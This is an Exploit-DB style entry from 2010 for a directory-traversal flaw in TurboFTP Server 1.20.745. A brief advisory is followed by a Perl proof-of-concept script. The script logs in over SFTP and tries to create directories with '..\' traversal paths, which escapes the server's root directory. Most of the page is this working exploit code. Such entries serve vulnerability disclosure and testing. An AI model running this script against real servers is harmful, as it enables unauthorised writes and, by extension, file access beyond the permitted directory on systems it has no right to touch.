TurboFTP Server 1.20.745 – Directory Traversal

  • 作者: leinakesi
    日期: 2010-06-17
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/34156/
  • source: https://www.securityfocus.com/bid/40919/info
    
    TurboFTP Server is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input.
    
    Exploiting this issue can allow an attacker to download or upload arbitrary files outside the root directory. This may aid in further attacks.
    
    TurboFTP Server 1.20.745 is vulnerable; prior versions may also be affected. 
    
    #!/usr/bin/perl
    #leinakesi[at]gmail.com
    #turboFTP Server(sftp module) directory traversal vulnerability
    
    use Net::SSH2;
    use Getopt::Std;
    
    
    @FUZZ = ("..\\A\\", "..\\AA");
    getopts('S:P:u:p:', \%opts);
    $server = $opts{'S'}; $port = $opts{'P'}; $user = $opts{'u'}; $pass = $opts{'p'};
    
    if(!defined($server) || !defined($port) || !defined($user) || !defined($pass) ) {
    	print "usage:\n\tperl	test.pl -S [IP] -P [port] -u [user] -p [password]\nexample:\n";
    	print "\tperl	test.pl -S 192.168.48.114 -P 22 -u chloe -p 111111\n";
    	exit(0);
    }
    
    $ssh2 = Net::SSH2->new();
    $ssh2->connect($server, $port) || die "can not connect the server, please check.\n"; $ssh2->auth_password($user, $pass) || die "you sure user name and password are correct?\n"; $sftp = $ssh2->sftp();
    
    foreach(@FUZZ)
    {
    	if($m = $sftp->mkdir($_))
    	{
    		print "mkdir success,$_\n";
    	}
    }
    
    $ssh2->disconnect();
    exit(0);